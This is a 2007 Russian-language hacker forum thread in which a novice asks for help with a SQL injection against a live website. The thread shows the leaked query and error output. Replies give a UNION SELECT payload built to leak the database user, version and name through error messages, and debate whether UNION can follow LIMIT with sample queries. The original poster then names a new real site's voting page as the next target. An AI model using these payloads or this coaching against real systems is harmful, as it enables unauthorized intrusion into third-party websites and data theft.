PDA

Просмотр полной версии : Страшной запрос


Dimi4
18.11.2007, 00:46
MySQL injection.
http://wtf.com/country/ukraine/4/?page=-2%20union/**/select/**/45,15/*
Гы, ет наверно я только так тупо запросы формирую :D
При етом выдает нечто страшное:

SELECT ai.id, ah.headline, at.full_text, am.smallimage_url as img, at.announce, lah.headline as en_name, lower(si.name), si.url, si.ahref as site_title, st.description FROM elgov_articleitem as ai, elgov_articletext as at, elgov_articleheadline as ah, elgov_subjectitem as si, elgov_subjecttitle as st JOIN elgov_articleactivity as aa LEFT JOIN elgov_articleimage as am ON (am.item_id = ai.id) LEFT JOIN elgov_articleheadline as lah ON (lah.item_id = ai.id AND lah.lang_id = 5) WHERE ai.id = ah.item_id AND ai.examine = 1 AND ai.id = at.item_id AND ah.lang_id = 7 AND at.lang_id = ah.lang_id AND ai.inode = si.id AND lower(si.name) = 'ukraine' AND st.item_id = si.id AND st.lang_id = ah.lang_id AND aa.article_id = ai.id AND aa.inode = 4 GROUP BY ai.id ORDER BY ah.headline LIMIT -45, 15

[ MYSQL ERROR ]: SELECT ai.id, ah.headline, at.full_text, am.smallimage_url as img, at.announce, lah.headline as en_name, lower(si.name), si.url, si.ahref as site_title, st.description FROM elgov_articleitem as ai, elgov_articletext as at, elgov_articleheadline as ah, elgov_subjectitem as si, elgov_subjecttitle as st JOIN elgov_articleactivity as aa LEFT JOIN elgov_articleimage as am ON (am.item_id = ai.id) LEFT JOIN elgov_articleheadline as lah ON (lah.item_id = ai.id AND lah.lang_id = 5) WHERE ai.id = ah.item_id AND ai.examine = 1 AND ai.id = at.item_id AND ah.lang_id = 7 AND at.lang_id = ah.lang_id AND ai.inode = si.id AND lower(si.name) = 'ukraine' AND st.item_id = si.id AND st.lang_id = ah.lang_id AND aa.article_id = ai.id AND aa.inode = 4 GROUP BY ai.id ORDER BY ah.headline LIMIT -45, 15 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-45, 15' at line 30 )

Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/virtual/нечто/sm/self/lib/Adelite/SiteManager/db_sql.class.php on line 62

Warning: Cannot modify header information - headers already sent by (output started at /var/www/virtual/нечто/sm/self/lib/Adelite/SiteManager/db_sql.class.php:36) in /var/www/virtual/нечто/sm/self/lib/Adelite/SiteManager/server.class.php on line 209

Вы сразу скажите "линк в студию!"
Но дайте мне возможность сделать ету инэкцию самому, ибо я их тока начал изучать.Да, да мануалы на ачате читал...
Жду ваших советов.
П.С. Просьба не кричать ЛАМЕР!, тут всьо просто! :eek:

Spyder
18.11.2007, 00:59
ничё ты тут не сделаешь

Dimi4
18.11.2007, 01:02
а как на шчот строки

( You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-45, 15' at line 30 )

:(

Spyder
18.11.2007, 01:06
инъекция после limit'a
учи мат часть

Dr.Z3r0
19.11.2007, 13:25
Народ ну где тут иньекция после лимита?
Тут видимо два запроса результат первого вставляется во второй но в первый раз вижу чтобы лимит был с отрицательным значением... Но тут есть огромный плюс если моя догдадка верна раз отчет об ошибках есть, то и в ошибке ты увидишь ответ на твою иньекцию то есть юзай что то типа этого:
http://wtf.com/country/ukraine/4/?page=-2%20union/**/select/**/CONCAT_WS(0x20,USER(),VERSION(),DATABASE()),15/*
И в ошибке ты по идее должен увидеть что то типа
( You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-[имя юзера] [версияБД] [и имя самой БД], 15' at line 30 )
ЗЫ а вот ссылку бы не помешало бы, бо по этой тут ответ 404 ))

groundhog
19.11.2007, 13:49
Spyder, если инжектируется параметр, который определяет какое-то значение из LIMIT, то что мешает с его помощью сформировать нормальный LIMIT, а потом к этому запросу сделать UNION+SELECT нужных тебе полей?

Dr.Z3r0
19.11.2007, 15:14
Spyder, если инжектируется параметр, который определяет какое-то значение из LIMIT, то что мешает с его помощью сформировать нормальный LIMIT, а потом к этому запросу сделать UNION+SELECT нужных тебе полей?
Еще раз спрашиваю где вы увидели инжект в лимит?

groundhog
19.11.2007, 15:39
А ХЗ... Спайдер написал "инъекция после limit'a"... Я просто сказал что и в этом случае возможна успешная эксплуатация...

Spyder
19.11.2007, 16:29
вот давайте он ссылку даст а вы раскрутите скуль, ок? =)
Spyder, если инжектируется параметр, который определяет какое-то значение из LIMIT, то что мешает с его помощью сформировать нормальный LIMIT, а потом к этому запросу сделать UNION+SELECT нужных тебе полей?
ты маны по SQL читал? UNION не может идти после оператора LIMIT

groundhog
19.11.2007, 16:58
Мало того, что читал, так ещё и попробовал запрос:

SELECT * from lala limit 0,1 union select * from lala where id=5
Как думаешь, каков был результат? Правильно! Две записи! Пробовал это на MySQL 4.1.10... Ты не путаешь с тройкой? Там действительно нельзя ставить после LIMIT объединение через UNION, потому что в тройке UNION вообще не поддерживается...

Scipio
19.11.2007, 17:01
А ХЗ... Спайдер написал "инъекция после limit'a"... Я просто сказал что и в этом случае возможна успешная эксплуатация...

вобще то ты прав, но не в данном случае union можно вставить после limit если в Select нет order by, а здесь есть

попробуй
SELECT * from lala order by 1limit 0,1 union select * from lala where id=5

Dr.Z3r0
19.11.2007, 17:57
вот давайте он ссылку даст а вы раскрутите скуль, ок? =)
Давай... Имхо не существует нераскручиваемой скули...

Dimi4
19.11.2007, 18:27
Да недоковырял я... багу прикрили
Но есть новая... голосуем справа
http://greatukrainians.com.ua/voting/

groundhog
19.11.2007, 18:34
Scipio, да. В таком случае запрос должен иметь вид:

(select * from lala order by id limit 0,1) union (select * from lala where id=5)
Что практически всегда не так...

Spyder
20.11.2007, 00:07
Имхо не существует нераскручиваемой скули...
мало скулей видел =)